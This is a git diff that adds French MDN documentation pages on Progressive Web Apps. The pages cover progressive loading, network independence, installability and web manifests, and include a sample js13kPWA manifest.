+<p>Moins de fichiers à charger initialement, de plus petits fichiers répartis en modules, l'utilisation de conteneurs de placement et le chargement de davantage de contenu à la demande — ceci aidera à obtenir des temps de chargement initiaux plus rapides, ce qui profite au créateur de l'application et offre une expérience plus fluide à l'utilisateur.</p>
+
+<p>Rappelez-vous de ce que nous avons dit concernant l'approche d'amélioration progressive — offrir un produit utilisable quel que soit l'appareil ou la plateforme, mais s'assurer d'enrichir l'expérience pour ceux qui utilisent des navigateurs modernes.</p>
+
+<h2 id="Dernières_réflexions">Dernières réflexions</h2>
+
+<p>C'est fini pour ces séries de tutoriels — nous avons examiné le <a href="https://github.com/mdn/pwa-examples/tree/master/js13kpwa">code source code de l'exemple d'application js13kPWA</a> et nous avons appris à utiliser les fonctionnalités progressives des applications web en commençant par une <a href="/en-US/docs/Web/Progressive_web_apps/Introduction">Introduction</a>, <a href="/en-US/docs/Web/Progressive_web_apps/App_structure">la structure des PWA, </a><a href="/en-US/docs/Web/Progressive_web_apps/Offline_Service_workers">la disponibilité en mode déconnectégrâce aux Service Workers</a>, <a href="/en-US/docs/Web/Progressive_web_apps/Installable_PWAs">les PWAs installable</a> et finalement les notifications. Nous avons également expliqué le mode push avec l'aide du <a href="https://serviceworke.rs/">Service Worker Cookbook</a>. Et dans cet article, nous avons abordé le concept de chargement progressif incluant un exemple intéressant utilisant l'<a href="/en-US/docs/Web/API/Intersection_Observer_API">API ntersection Observer</a>.</p>
+
+<p>N'hésitez pas à faire des essais avec le code, à améliorer votre application existante avec des des fonctionnalités PWA ou à bâtir quelque chose d'entièrement nouveau de vous même. Les PWAs amènent un énorme avantage sur les applications web classiques.</p>
+
+<p>{{PreviousMenu("Web/Progressive_web_apps/Re-engageable_Notifications_Push", "Web/Progressive_web_apps")}}</p>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}</p>
diff --git a/files/fr/web/progressive_web_apps/identifiable/index.html b/files/fr/web/progressive_web_apps/identifiable/index.html
new file mode 100644
index 0000000000..5517fa81b9
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/identifiable/index.html
@@ -0,0 +1,59 @@
+---
+title: Identifiable
+slug: Web/Progressive_web_apps/Identifiable
+tags:
+  - Applications
+  - Identifiable
+  - Manifeste
+  - Manifeste Web
+translation_of: Web/Progressive_web_apps
+---
+<div class="column-container summary">
+<div class="column-11">Dès lors que vous publiez une application web, vous voulez que le monde le sache. Les moteurs de recherche le font, mais souvent on souhaite plus de contrôle sur comment l'application sera affichée dans les résultats de la recherche. Le nouveau manifeste du W3C pour les applications web peut aider à cela, ainsi que pour d'autres fonctionnalités.</div>
+
+<div class="column-1"><img alt="" src="https://mdn.mozillademos.org/files/12654/discoverable.svg" style="height: 43px; width: 34px;"></div>
+</div>
+
+<p>Objectifs éventuels des applications web:</p>
+
+<ul>
+ <li>Être mieux représenté dans les moteurs de recherche</li>
+ <li>Être facile à exposer, dans un catalogue ou un classement</li>
+ <li>Avoir des méta-données (<em>metadata)</em> utilisables par le navigateur pour leur donner des capacités spéciales</li>
+</ul>
+
+<h2 id="Guides">Guides</h2>
+
+<p>Aucun document actuellement; les contributions sont les bienvenues.</p>
+
+<h2 id="Technologies">Technologies</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Technologie</th>
+   <th scope="col">Description</th>
+   <th scope="col">Résumé du support</th>
+   <th scope="col">Dernière spécification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/fr/docs/Web/Manifest">Manifeste des applications web</a></td>
+   <td>Définit les fonctions  d'une application web comme son nom, une icône, un écran de lancement et un thème de couleur, <span id="result_box" lang="fr"><span>pour une utilisation</span> <span>dans un contexte comme l'affichage sur </span><span>une liste</span> <span>d'applications ou</span> sur l'<span>écran d'accueil</span> <span>de l'appareil</span></span>.</td>
+   <td>Expérimental, supporté dans Chrome, support limité dans Firefox (<a href="/fr/docs/Web/Manifest#Browser_compatibility">plus de détails</a>)</td>
+   <td>{{SpecName('Manifest')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Outils">Outils</h2>
+
+<p><em>Ajouter un lien vers un outils ou une bibliothèque utile.</em></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<dl>
+ <dt><a href="http://ogp.me/">Open Graph</a></dt>
+ <dd>Un standard, <em>defacto,</em> fournissant un format pour spécifier des méta-données similaires dans la balise HTML <code>&lt;head&gt;</code> en utilisant les <em>meta tags</em>. Supporté par Facebook et d'autres domaines.</dd>
+</dl>
diff --git a/files/fr/web/progressive_web_apps/independante_du_reseau/index.html b/files/fr/web/progressive_web_apps/independante_du_reseau/index.html
new file mode 100644
index 0000000000..b7dcff9302
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/independante_du_reseau/index.html
@@ -0,0 +1,94 @@
+---
+title: Indépendante du réseau
+slug: Web/Progressive_web_apps/Independante_du_reseau
+tags:
+  - App shell
+  - Applications
+  - IndexedDB
+  - Indépendante du réseau
+  - Service Workers
+  - hors-ligne
+  - localStorage
+translation_of: Web/Progressive_web_apps
+---
+<div class="column-container summary">
+<div class="column-11">Les applications web modernes peuvent fonctionner quand le réseau n'est pas fiable, ou même inexistant. Terminé les pages blanches d'erreur de connexion ou les dinosaures qui courent dans le désert. Une séparation claire entre l'affichage (UI) et le contenu ainsi qu'un cache hors-ligne et des services workers, vous permettent de stocker les données de l'application et ses dépendances pour les futures utilisations.</div>
+
+<div class="column-1"><img alt="" src="https://mdn.mozillademos.org/files/12660/network-independent.svg" style="height: 43px; width: 43px;"></div>
+</div>
+
+<p>Les concepts de base, concernant l'indépendance au réseau, c'est la capacité de :</p>
+
+<ul>
+ <li>Re-visiter un site et accèder à son contenu même quand le réseau n'est pas disponible.</li>
+ <li>Naviguer dans tout type de contenu que l'utilisateur a visité au moins une fois auparavant, même dans une situation comme une mauvaise connectivité.</li>
+ <li>Contrôler ce qui est affiché à l'utilisateur dans les cas d'absence de connexion.</li>
+</ul>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les service workers</a></dt>
+ <dd>Un guide simple pour débutant à l'API Service Worker.</dd>
+ <dt><a href="/fr/docs/IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></dt>
+ <dd>Les bases concernant IndexedDB, expliquées en détails.</dd>
+ <dt><a href="/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utiliser l'API Web Storage</a></dt>
+ <dd>L'API Web Storage en toute simplicité.</dd>
+ <dt><a class="external" href="https://developers.google.com/web/updates/2015/11/app-shell">Chargement rapide des applications web avec l'architecture <em>App Shell </em></a></dt>
+ <dd>Un guide pour utiliser le<em> coding pattern App Shell</em> pour créer des applications qui se chargent rapidement.</dd>
+</dl>
+
+<h2 id="Technologies">Technologies</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Technologie</th>
+   <th scope="col">Description</th>
+   <th scope="col">Résumé du support</th>
+   <th scope="col">Dernière spécification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/fr/docs/Web/API/Service_Worker_API">Service workers</a></td>
+   <td>JavaScript fonctionne dans un contexte de travail particulier qui est lancé par le navigateur dans certaines circonstances comme la récupération (<em>fetch</em>) et l'envoi (<em>push</em>) d'évènements. Ceci permet au service worker d'intercepter des réponses et de les personnaliser, de toute les façons que vous le souhaitez, par exemple mettre en cache des ressources pour un usage hors-ligne avant qu'elle ne soit servies.</td>
+   <td>Expérimental : Chrome et Firefox (<a href="/fr/docs/Web/API/Service_Worker_API#Browser_compatibility">plus de détails</a>)</td>
+   <td>{{SpecName('Service Workers')}}</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/IndexedDB">IndexedDB</a></td>
+   <td>Un système de base de données transactionnelle qui permet un stockage complexe de données coté client, contrôlable par JavaScript.</td>
+   <td>Répandu dans les navigateurs modernes (<a href="/fr/docs/Web/API/IndexedDB_API#Browser_compatibility">plus de détails</a>)</td>
+   <td>{{SpecName('IndexedDB')}}</td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/API/Web_Storage_API">Web Storage</a></td>
+   <td>Une API simple de stockage de clé/valeurs côté client.</td>
+   <td>Répandu (<a href="/fr/docs/Web/API/Web_Storage_API#Browser_compatibility">plus de détails</a>)</td>
+   <td>{{SpecName('Web Storage')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Outils">Outils</h2>
+
+<dl>
+ <dt><a class="external" href="http://mozilla.github.io/localForage/">localForage</a></dt>
+ <dd>Une simple petite bibliothèque Javascript pour rendre vraiment simple la création d'un stockage de données côté client ; utilise par défaut IndexedDB, et se tourne vers Web SQL/Web Storage si nécessaire.</dd>
+ <dt><a class="external" href="https://github.com/fxos-components/serviceworkerware">ServiceWorkerWare</a></dt>
+ <dd>Un micro-framework similaire à <em>Express</em> pour le développement simple d'un <em>service worker</em>.</dd>
+ <dt><a class="external" href="https://github.com/mozilla/oghliner">oghliner</a></dt>
+ <dd>Pas seulement un template mais un outil permettant de déployer des applications web hors-ligne sur GitHub Pages.</dd>
+ <dt><a class="external" href="https://github.com/GoogleChrome/sw-precache">sw-precache</a></dt>
+ <dd>Un module Node pour générer le code d'un <em>service worker</em> qui va mettre en pré-cache des ressources spécifiques.</dd>
+ <dt><a class="external" href="https://www.talater.com/upup/">upup</a></dt>
+ <dd>Un petit script qui vous assure que votre site est toujours présent pour vos utilisateurs.</dd>
+</dl>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<dl>
+ <dt><a class="external" href="https://serviceworke.rs/">The service worker cookbook</a></dt>
+ <dd>Une série de très bonnes ressources concernant les <em>services workers</em>, montrant comment implémenter une application web hors-ligne, et plus encore.</dd>
+</dl>
diff --git a/files/fr/web/progressive_web_apps/index.html b/files/fr/web/progressive_web_apps/index.html
new file mode 100644
index 0000000000..98885f3899
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/index.html
@@ -0,0 +1,109 @@
+---
+title: Applications Web Progressives
+slug: Web/Progressive_web_apps
+tags:
+  - App
+  - Applications
+  - Apps
+  - PWA
+  - Progressive web apps
+  - Web App Progressive
+  - Web App modernes
+  - Web app
+translation_of: Web/Progressive_web_apps
+---
+<p>{{draft}}</p>
+
+<p class="summary"><img alt="PWA community logo" src="https://mdn.mozillademos.org/files/16742/pwa.png" style="display: block; float: left; height: 188px; margin: 0px auto; padding-bottom: 1em; padding-right: 2em; width: 350px;">Les <strong>applications Web progressives</strong> utilisent des API Web modernes ainsi qu'une stratégie d'amélioration progressive traditionnelle pour créer des applications Web multiplateformes. Ces applications fonctionnent partout et fournissent quelques fonctionnalités qui donnent à l'expérience utilisateur les mêmes avantages que les applications natives. Cet ensemble de documents explique tout ce qu'il faut savoir sur ces applications.</p>
+
+<p>Pour qu'une application Web soit considérée comme un PWA, techniquement parlant, il devrait présenter les caractéristiques suivantes : <a href="/fr/docs/Web/Security/Secure_Contexts">Secure contexts</a> (<strong>{{Glossary("HTTPS")}}</strong>), un ou plusieurs <a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a> et un <a href="/fr/docs/Web/Manifest">fichier manifest</a>.</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/Security/Secure_Contexts">Secure contexts</a> (<a href="/fr/docs/Glossaire/https">HTTPS</a>)</dt>
+ <dd>L'application web doit être servie sur un réseau sécurisé. Être un site sécurisé est non seulement une bonne pratique, mais cela fait également de votre application web un site de confiance, surtout si les utilisateurs ont besoin d'effectuer des transactions sécurisées. La plupart des fonctionnalités liées à un PWA telles que la géolocalisation et même les Service Workers ne sont disponibles qu'une fois l'application chargée à l'aide de HTTPS.</dd>
+ <dt><a href="/fr/docs/Web/API/Service_Worker_API">Service workers</a></dt>
+ <dd>Un <em>Service Worker</em> est un script qui permet d'intercepter et de contrôler la façon dont un navigateur web traite ses requêtes réseau et la mise en cache des ressources. Avec les Service Workers, les développeurs web peuvent créer des pages web rapides et fiables et des expériences hors ligne.</dd>
+ <dt><a href="/fr/docs/Web/Manifest">Manifest file</a></dt>
+ <dd>Un fichier {{Glossary("JSON")}} qui contrôle la façon dont votre application apparaît à l'utilisateur et garantit que les applications web progressives sont découvrables. Il décrit le nom de l'application, l'URL de démarrage, les icônes et tous les autres détails nécessaires pour transformer le site web en un format similaire à celui d'une application.</dd>
+</dl>
+
+<h2 id="Avantages_PWA">Avantages PWA</h2>
+
+<p>Les PWA doivent pouvoir être découvertes, installées, reliées, indépendantes du réseau, progressives, réengageables, réactives et sûres. Pour en savoir plus sur la signification de ces éléments, lisez <a href="/fr/docs/Web/Progressive_web_apps/Introduction">Avantages des applications web progressives</a>.</p>
+
+<p>Pour savoir comment mettre en œuvre les PWA, lisez notre <a href="/fr/docs/Web/Progressive_web_apps/Developer_guide">guide du développeur de PWA</a>.</p>
+
+<h2 id="Documentation">Documentation</h2>
+
+<p><strong>&lt;-- La liste automatique temporaire ci-dessous sera bientôt remplacée --&gt;</strong></p>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<div class="blockIndicator warning">
+<p><strong>Tout ce qui se trouve en dessous de ce point est un reste de l'ancienne version de cette page et sera remanié au fur et à mesure de la révision des autres contenus.</strong></p>
+</div>
+
+<h2 id="Guides_de_base_des_PWA">Guides de base des PWA</h2>
+
+<p>Les guides suivants vous montrent ce qu'il faut faire pour mettre en œuvre une PWA, en examinant un exemple simple et en vous montrant comment tous les éléments fonctionnent.</p>
+
+<ol>
+ <li><a href="/fr/docs/Web/Progressive_web_apps/Introduction">Introduction aux applications web progressives</a></li>
+ <li><a href="/fr/docs/Web/Progressive_web_apps/App_structure">Structure progressive des applications web</a></li>
+ <li><a href="/fr/docs/Web/Progressive_web_apps/Offline_Service_workers">Faire travailler les VAP en différé avec les travailleurs des services</a></li>
+ <li><a href="/fr/docs/Web/Progressive_web_apps/Installable_PWAs">Comment rendre les PWA installables</a></li>
+ <li><a href="/fr/docs/Web/Progressive_web_apps/Relancer_Via_Notifications_Push">Comment rendre les PWA réengageables en utilisant les notifications et le Push</a></li>
+ <li><a href="/fr/docs/Web/Progressive_web_apps/Chargement">Chargement progressif</a></li>
+ <li><a href="https://pwafire.org">Collection de ressources, de codelabs et d'outils dont vous avez besoin pour construire des PWA par l'équipe de pwafire.org</a></li>
+ <li><a href="https://github.com/pwafire/pwadev-tips">Mise en place de votre environnement de développement d'applications web progressives</a></li>
+</ol>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Guides_technologiques">Guides technologiques</h2>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage">Stockage côté client</a> – un long guide montrant comment et quand utiliser le stockage web, IndexedDB et les Service Workers.</li>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using service workers</a> – un guide plus approfondi couvrant l'API Service Worker.</li>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utilisation d'IndexedDB</a> – les principes fondamentaux d'IndexedDB, expliqués en détail.</li>
+ <li><a href="/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utilisation de l'API de stockage Web</a> – l'API de stockage Web simplifiée.</li>
+ <li><a class="external external-icon" href="https://developers.google.com/web/updates/2015/11/app-shell" rel="noopener">Instant Loading Web Apps with An Application Shell Architecture</a> – un guide sur l'utilisation du modèle de codage App Shell pour créer des applications qui se chargent rapidement.</li>
+ <li><a href="/fr/docs/Web/API/Push_API/Using_the_Push_API">Utilisation de l'API Push</a> – apprenez l'essentiel sur l'API Web Push.</li>
+ <li><a href="/fr/docs/Web/API/notification/Using_Web_Notifications">Utilisation des notifications API</a> – les notifications Web en bref.</li>
+ <li><a href="/fr/docs/Web/Apps/Modern/Responsive/responsive_design_building_blocks">Les éléments de base du design réactif</a> – apprenez les bases du design réactif, un sujet essentiel pour la mise en page d'une application moderne.</li>
+ <li><a href="/fr/docs/Web/Apps/Modern/Responsive/Mobile_first">Mobile first</a> – souvent, lors de la création de mises en page d'applications réactives, il est judicieux de créer la mise en page mobile par défaut, et de construire des mises en page plus larges par-dessus.</li>
+ <li><a href="/fr/docs/Web/Progressive_web_apps/ajouter_a_lecran_daccueil_a2hs">Guide de l'ajout à l'écran d'accueil</a> – découvrez comment vos applications peuvent tirer profit de l'ajout à l'écran d'accueil (A2HS).</li>
+</ul>
+</div>
+
+<div class="column-half">
+<h2 id="Outils">Outils</h2>
+
+<ul>
+ <li><a class="external external-icon" href="https://localforage.github.io/localForage/" rel="noopener">localForage</a> – une belle et simple bibliothèque JavaScript pour rendre le stockage de données côté client vraiment simple ; elle utilise IndexedDB par défaut et revient à Web SQL/Web Storage si nécessaire.</li>
+ <li><a class="external external-icon" href="https://github.com/fxos-components/serviceworkerware" rel="noopener">ServiceWorkerWare</a> – un <em>Express-like</em> microframe pour faciliter le développement du Service Worker.</li>
+ <li><a class="external external-icon" href="https://github.com/mozilla/oghliner" rel="noopener">oghliner</a> – il s'agit non seulement d'un modèle, mais aussi d'un outil permettant de déployer des applications Web hors ligne sur des pages GitHub.</li>
+ <li><a class="external external-icon" href="https://github.com/GoogleChrome/sw-precache" rel="noopener">sw-precache</a> – un module de nœud pour générer un code de travailleur de service qui précache des ressources spécifiques.</li>
+ <li><a class="external external-icon" href="https://github.com/GoogleChrome/workbox" rel="noopener">workbox</a> – successeur spirituel du sw-precache avec des stratégies de mise en cache plus avancées et un précaching facile.</li>
+ <li><a class="external external-icon" href="https://www.talater.com/upup/" rel="noopener">upup</a> – un petit script qui assure que votre site est toujours là pour vos utilisateurs.</li>
+ <li><a class="external external-icon" href="https://serviceworke.rs/" rel="noopener">The service worker cookbook</a> – une série d'excellentes recettes de service worker/push, montrant comment mettre en œuvre une application hors ligne, mais aussi bien plus.</li>
+ <li><a href="https://marketplace.visualstudio.com/items?itemName=mayeedwin.vscode-pwa">WA VS Code extension</a> – une collection de tous les extraits de code essentiels dont vous avez besoin pour créer des applications Web progressives dans votre environnement VS Code.</li>
+</ul>
+</div>
+</div>
+
+<ul>
+ <li><a href="https://developers.google.com/web/progressive-web-apps">Apps web progressives</a> sur Google Developers.</li>
+ <li><a href="https://medium.com/@slightlylate/progressive-apps-escaping-tabs-without-losing-our-soul-3b93a8561955#.6czgj0myh">Applications Web progressives : Échapper aux tabulations sans perdre son âme</a> par Alex Russell.</li>
+ <li><a href="https://developers.google.com/web/progressive-web-apps/checklist">Liste de contrôle des applications Web progressives</a>.</li>
+ <li><a href="https://developers.google.com/web/tools/lighthouse">L'outil phare</a> par Google.</li>
+ <li><a href="https://github.com/angular/mobile-toolkit">Outils pour créer des applications web progressives avec Angular</a>.</li>
+ <li><a href="https://github.com/codebusking/react-pwa-guide-kit">Guide PWA React</a>.</li>
+ <li><a href="https://pokedex.org/">Offline-capable Pokédex web site</a>.</li>
+ <li><a href="https://hnpwa.com/">Hacker News readers as Progressive Web Apps</a>.</li>
+ <li><a href="https://goingmeta.io/dienstleistungen/progressive-web-app/">Application Web progressive : Les avantages en bref</a></li>
+ <li><a href="https://ymedialabs.com/progressive-web-apps">Pourquoi les applications Web progressives sont l'avenir du Web mobile (recherche 2019)</a>.</li>
+ <li><a href="https://www.csschopper.com/blog/progressive-web-apps-everything-you-need-to-know/">Applications Web progressives : Tout ce que vous devez savoir</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/fr/docs/Web/Progressive_web_apps/")}}</div>
diff --git a/files/fr/web/progressive_web_apps/installable/index.html b/files/fr/web/progressive_web_apps/installable/index.html
new file mode 100644
index 0000000000..6ef98a510e
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/installable/index.html
@@ -0,0 +1,47 @@
+---
+title: Installable
+slug: Web/Progressive_web_apps/Installable
+tags:
+  - Applications
+  - Installable
+  - Manifeste
+translation_of: Web/Progressive_web_apps
+---
+<div class="column-container summary">
+<div class="column-11">Une partie basique de l'expérience avec l'application, pour un utilisateur, est d'avoir l'icône sur l'écran d'accueil et être capable de l'ouvrir dans son propre conteneur avec une bonne intégration avec la plateforme système sous-jacente. Les applications web modernes peuvent avoir ce sentiment d'application native.</div>
+
+<div class="column-1"><img alt="" src="https://mdn.mozillademos.org/files/12656/installable.svg" style="height: 96px; width: 96px;"></div>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<p>Aucun document actuellement; les contributions sont les bienvenues.</p>
+
+<h2 id="Technologies">Technologies</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Technologie</th>
+   <th scope="col">Description</th>
+   <th scope="col">Résumé du support</th>
+   <th scope="col">Dernière spécification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/fr/docs/Web/Manifest">Manifeste des applications web</a></td>
+   <td>Définit les fonctions  d'une application web comme son nom, une icône, un écran de lancement et un thème de couleur, <span id="result_box" lang="fr"><span>pour une utilisation</span> <span>dans un contexte comme l'affichage sur </span><span>une liste</span> <span>d'applications ou</span> sur l'<span>écran d'accueil</span> <span>de l'appareil</span></span>.</td>
+   <td>Expérimental, supporté dans Chrome, support limité dans Firefox (<a href="/fr/docs/Web/Manifest#Browser_compatibility">plus de détails</a>)</td>
+   <td>{{SpecName('Manifest')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Outils">Outils</h2>
+
+<p><em>Ajouter un lien vers un outils ou une bibliothèque utile.</em></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p><em>Ajouter un lien vers des informations liées</em>.</p>
diff --git a/files/fr/web/progressive_web_apps/installable_pwas/index.html b/files/fr/web/progressive_web_apps/installable_pwas/index.html
new file mode 100644
index 0000000000..c782ba936f
--- /dev/null
+++ b/files/fr/web/progressive_web_apps/installable_pwas/index.html
@@ -0,0 +1,117 @@
+---
+title: Comment rendre les PWAs installables
+slug: Web/Progressive_web_apps/Installable_PWAs
+translation_of: Web/Progressive_web_apps/Installable_PWAs
+---
+<div>{{PreviousMenuNext("Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">Dans l'article précédent, nous avons vu comment <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> fonctionne en mode déconnecté grâce à son <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a>, mais nous pouvons aller encore plus loin et permettre aux utilisateurs d'installer l'application web sur les navigateurs mobiles pris en charge, comme s'il s'agissait d'une application native. Cet article explique comment réaliser ceci en utilisant un manifeste web et une fonctionnalité appelée "ajouter à l'écran d'accueil".</p>
+
+<p class="summary">Ces technologies permettent à l'application d'être directement lancée depuis l'écran d'accueil de l'appareil au lieu de lancer manuellement le navigateur puis de saisir l'URL. Votre application web peut se trouver à côté des applications natives en tant qu'application de première catégorie. De ce fait, il est plus facile d'y accéder et vous pouvez également spécifier qu'une application doit s'exécuter en plein écran sans l'encadrement du navigateur hôte, ce qui la fait ressembler encore plus à une application native.</p>
+
+<h2 id="Prérequis">Prérequis</h2>
+
+<p>Pour rendre un site web installable, il a besoin que les éléments suivants soient mis en place:</p>
+
+<ul>
+ <li>Un manifeste web, avec les <a href="/en-US/Apps/Progressive/Add_to_home_screen#Manifest">bons champs renseignés</a></li>
+ <li>Le site web à servir depuis un domaine sécurisé (HTTPS)</li>
+ <li>Un icone représentant l'application sur l'appareil</li>
+ <li>Un service worker enregistré pour permettre à l'application de fonctionner en mode déconnecté (ceci n'est actuellement imposé que par Chrome pour Android)</li>
+</ul>
+
+<h3 id="Le_fichier_manisfeste">Le fichier manisfeste</h3>
+
+<p>L'élément clef est un fichier manifeste web qui liste toutes les informations concernant le site web au format JSON.</p>
+
+<p>Il se trouve habituellement dans le dossier racine de l'application web. Il contient des informations utiles telles que le nom de l'application, le chemin vers les icones de différentes tailles à utiliser pour représenter l'application sur un système d'exploitation mobile (par exemple, en tant qu'icone sur l'écran d'accueil) et une couleur de fond à utiliser pour les écrans de chargement ou surgissant. Cette information est nécessaire pour que le navigateur puisse présenter correctement l'application lors de l'installation et sur l'écran d'accueil.</p>
+
+<p>Le fichier <code>js13kpwa.webmanifest</code> de l'application web <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> est inclus dans la section {{htmlelement("head")}} du fichier <code>index.html</code> via la ligne de code suivante:</p>
+
+<pre class="brush: html">&lt;link rel="manifest" href="js13kpwa.webmanifest"&gt;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Il existe quelques extensions courantes qui ont été utilisées pour les manifestes par le passé: <code>manifest.webapp</code> fut populaire pour les manifestes des applications Firefox OS et nombreux sont ceux qui utilisent <code>manifest.json</code> pour les manifestes web attendu que le contenu est organisé sous forme d'une structure JSON. Cependant, l'extension <code>.webmanifest</code> est explicitement mentionnée dans la <a href="https://w3c.github.io/manifest/">W3C relative au manifeste</a>, donc conformons nous à cela.</p>
+</div>
+
+<p>Le contenu d'un fichier ressemble à ceci:</p>
+
+<pre class="brush: json">{
+    "name": "Application Web progressive js13kGames",
+    "short_name": "js13kPWA",
+    "description": "Application web progressive qui liste les jeux soumis dans la catégorie A-Frame dans la compétition js13kGames 2017.",
+    "icons": [
+        {
+            "src": "icons/icon-32.png",
+            "sizes": "32x32",
+            "type": "image/png"
+        },
+        // ...
+        {
+            "src": "icons/icon-512.png",
+            "sizes": "512x512",
+            "type": "image/png"
+        }
+    ],
+    "start_url": "/pwa-examples/js13kpwa/index.html",
+    "display": "fullscreen",
+    "theme_color": "#B12A34",
+    "background_color": "#B12A34"
+}</pre>
+
+<p>La plupart des champs sont explicites, mais décortiquons le document et expliquons-le en détail:</p>
+
+<ul>
+ <li><code>name</code>: Le nom complet de l'application.</li>
+ <li><code>short_name</code>: Nom résumé à afficher sur l'écran d'accueil.</li>
+ <li><code>description</code>: Une phrase ou deux expliquant ce que fait l'application.</li>
+ <li><code>icons</code>: Un paquet d'informations relatives aux icones — URL sources, tailles et types. Assurez-vous d'en indiquer au moins quelques unes de façon à ce que celle qui est la mieux adaptée soit choisie pour l'appareil de l'utilisateur.</li>
+ <li><code>start_url</code>: Le document index document à lancer au démarrage de l'application.</li>
+ <li><code>display</code>: Comment l'application est affichée; ce peut être fullscreen, standalone, minimal-ui ou browser.</li>
+ <li><code>theme_color</code>: Une couleur primaire pour l'interface utilisateur et qui sera utilisée par le système d'exploitation.</li>
+ <li><code>background_color</code>: Une couleur de fond utilisée lors de l'installation et pour l'écran de chargement.</li>
+</ul>
+
+<p>Le minimum requis pour un manifeste web est le nom (<code>name</code>) et au moins un icone (avec <code>src</code>, <code>size</code> et <code>type</code>). <code>description</code>, <code>short_name</code> et <code>start_url</code> sont recommandés. Il existe même plus de champs que ceux listés ci-dessus et que vous pouvez utiliser — voir <a href="/en-US/docs/Web/Manifest">la réference du Manifeste des Web Apps</a> pour avoir davatange de détails.</p>
+
+<h2 id="Ajout_à_lécran_daccueil">Ajout à l'écran d'accueil</h2>
+
+<p>"Ajout à l'écran d'accueil" ("Add to home screen" ou a2hs pour faire court) est une fonctionnalité implémentée par les navigateurs mobiles qui récupèrent les informations trouvées dans le manifeste de l'application web et les utilisent pour représenter l'application sur l'écran d'accueil de l'appareil avec un icone et un nom. Ceci ne fonctionne que si l'application s'est conformées à tous les prérequis décrits plus haut.</p>
+
+<p>Quand l'utilisateur navigue sur la PWA en utilisant un navigateur les prenant en charge, il doit voir s'afficher une banière indiquant qu'il est possible d'installer l'application en tant que PWA.</p>
+
+<p><img alt="Add to Home screen popup of js13kPWA." src="https://mdn.mozillademos.org/files/15928/js13kpwa-icon.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>Après que l'utilisateur a cliqué sur cette banière, la banière d'installation est affichée. Cette banière est automatiquement créée par le navigateur en se basant sur les informations contenues dans le fichier manifeste — le nom et l'icone sont visibles dans la boîte de dialogue.</p>
+
+<p><img alt="Install banner of js13kPWA." src="https://mdn.mozillademos.org/files/15927/js13kpwa-banner.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>Si l'utilisateur clique sur le bouton, il y a une dernière étape montrant à quoi l'application ressemble et permettant à l'utilisateur de confirmer qu'il veut vraiment ajouter l'application.</p>
+
+<p><img alt="Add to Home screen popup of js13kPWA." src="https://mdn.mozillademos.org/files/15926/js13kpwa-add.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>Une fois la confirmation donnée, l'application sera installée sur l'écran d'accueil.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15834/js13kpwa-installed.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>APrès cela, l'utlisateur peut la lancer et commencer à l'utiliser immédiatement. Notez que parfois (selon le navigateur ou le système d'exploitation mobile que vous utilisez) les PWA ont une petite image de navigateur dans le coin inférieur droit de leur icone pour informer l'utilisateur de leur nature web.</p>
+
+<h3 id="Ecran_de_démarrage">Ecran de démarrage</h3>
+
+<p>Avec certains navigateurs, un écran de démarrage est également généré à partir des informations issues du manifeste et qui est affiché quand la PWA est lancée.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15835/js13kpwa-splash.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>L'icone et les couleurs du thème et du fond sont utilisés pour créer cet écran.</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Dans cet article, nous avons appris comment nous pouvons rendre une PWA installable en utilisant un manisfeste web et l'écran "Ajouter à l'écran d'accueil".</p>
+
